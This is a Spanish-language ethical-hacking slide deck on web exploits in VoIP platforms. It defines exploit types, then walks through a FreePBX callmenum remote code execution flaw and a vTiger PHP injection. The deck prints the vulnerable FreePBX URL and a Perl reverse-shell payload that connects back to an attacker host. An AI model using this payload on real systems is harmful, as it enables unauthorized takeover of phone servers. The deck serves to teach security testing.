Web exploits in VoIP Platforms

Preview:

Citation preview

Web Exploiting and Reversing Shell In VoIP Plataforms

$ Whois @jroliva Juan OlivaC|EH, CPTE, OSEH, BNS, dCAA, ECE, LPIC-1, Novell CLA

Proyectos de Ethical HackingProyectos de Voz sobre IP.Blog : jroliva.wordpress.com

Instructor

- Certificación Linux Professional Institute LPI-C1- Certificación de Seguridad de Elastix “ESM”- Curso y taller Ethical Hacking y Voz sobre IP

DESCARGO DE RESPONSABILIDADEsta presentación tiene como propósito proveer unicamente información. No aplicar este material ni conocimientos sin el Consentimiento explícito que autorice a hacerlo. Los lectores (participantes, oyentes, videntes) asumen la responsabilidad completa por la aplicación o experimentación de este material y/o conocimientos presentados. El(los) autor(es) quedan exceptuados de cualquier reclamo directo o indirectorespecto a daños que puedan haber sido causados por la aplicación de este material y/o conocimientos expuestos.

La información aquí expuesta representa las opiniones y perspectivas propias del autor respecto a la materia y no representan ninguna posicion oficial de alguna organización asociada.

INTRODUCCION

VULNERABILIDADFALLO O DEBILIDAD DE UN SISTEMA, PLATAFORMA O APLICACION

ATAQUECOMPROMETER LA SEGURIDAD DEL SISTEMA APROBECANDONOSDE UNA VULNERABILIDAD

CONTRAMEDIDAACCIONES A LLEVAR A CABO PARA EVITAR TENER VULNERABILIDADES

INTRODUCCION

VULNERABILIDADES ESPECIFICAS

- DESBORDAMIENTO DE BUFFER OVERFLOW

- DESBORDAMIENTO DE CARRERA (race condition)

- FORMATO DE CADENA (format string error)

- INYECCIONES SQL (SQL Inyection)

INTRODUCCION

QUE ES UN EXPLOIT

DEFINICIÓN

Un Exploit es un programa o código que "explota" una

vulnerabilidad del sistema de forma manual o totalmente

Automatizada

QUE ES UN EXPLOIT

DEFINICION

Si bien el código que explota la vulnerabilidad no es un código

malicioso en sí mismo, generalmente se utiliza para otros fines

- Acceso no autorizado a un sistema

- Malware como gusanos y troyanos.

QUE ES UN EXPLOIT

TIPOS DE EXPLOIT

REMOTOS

Los que pueden ser lanzados desde una ubicación

Diferente de la red del equipo de la victima (internet)

Si se logra su ejecución es posible tomar el control del equipo

Comprometido parcial o totalmente.

TIPOS DE EXPLOIT

LOCALES

Permiten elevar privilegios de un sistema operativo solo en la

Red local del equipo víctima

TIPOS DE EXPLOIT

DONDE LOS ENCUENTRAN

Existen muchas páginas dónde se publican diferentes tipos

de exploits :

- exploit-db.com

- packetstormsecurity.com

- exploitsdownload.com

- cvedetails.com

COMO SE HACEN LOS EXPLOITS

HERRAMIENTAS DE DESARROLLO

Pueden ser escritos en diferentes lenguajes

Tradicionalmente se realizan en C , perl , bash , nc

COMO SE HACEN LOS EXPLOITS

HERRAMIENTAS DE DESARROLLO

Sin embargo con el desarrollo de los lenguajes y vulnerabilidades

Hoy es posible desarrollar exploits con python o PHP inclusive

COMO SE HACEN LOS EXPLOITS

EL CICLO DE VIDA

CICLO DE VIDA

CICLO DE VIDA

VIENDO APLICACIONES WEB EXPLOTABLES EN PLATAFORMAS VOIP

APLICACIONES WEB EXPLOTABLES EN PLATAFORMAS VOIP

FreePBX 2.10.0 / 2.9.0 callmenum Remote Code Execution

Vulnerabilidad es de tipo “Remote Code Execution Exploit” ,

es decir inyecta código en una página no autentificada

variables que generan la ejecución de sentencias del sistema

operativo vía la función “system” de asterisk ,

Resultado : genera una conexión reversa desde el host

atacado hacia el host del atacante vía el puerto 443.

Pero como funciona ??

URL A LA CUAL INGRESA EL PROGRAMA:

/recordings/misc/callme_page.php?action=c&callmenum='

CODIGO QUE INYECTA

UN POCO FEO NO ???

CODIGO QUE INYECTA

str(extension) '@from-internal/nApplication: systemData: perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"' str(lhost) ':' str(lport) '");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Ahora si la veo !!

Bingo , tengo shell !!

AHORA VAMOS A LA PRACTICA

DEMO TIME !!

Exploit en Freepbx 2.10

APLICACIONES WEB EXPLOTABLES EN PLATAFORMAS VOIP

PHP CODE INYECTION en VTIGER 5.2.1

Descripción : El fundamento básico de esta técnica, es inyectar

código arbitrario , como lo hace una inyección SQL

Resultado : Obtención de una Shell reversa.

DEMO

Exploit en VTIGER 5.2.1

Gracias !!!

Juan OlivaConsultor en Ethical Hacking y Voipgtalk :jroliva@gmail.comTwiter : @jrolivaBlog : http://jroliva.wordpress.com/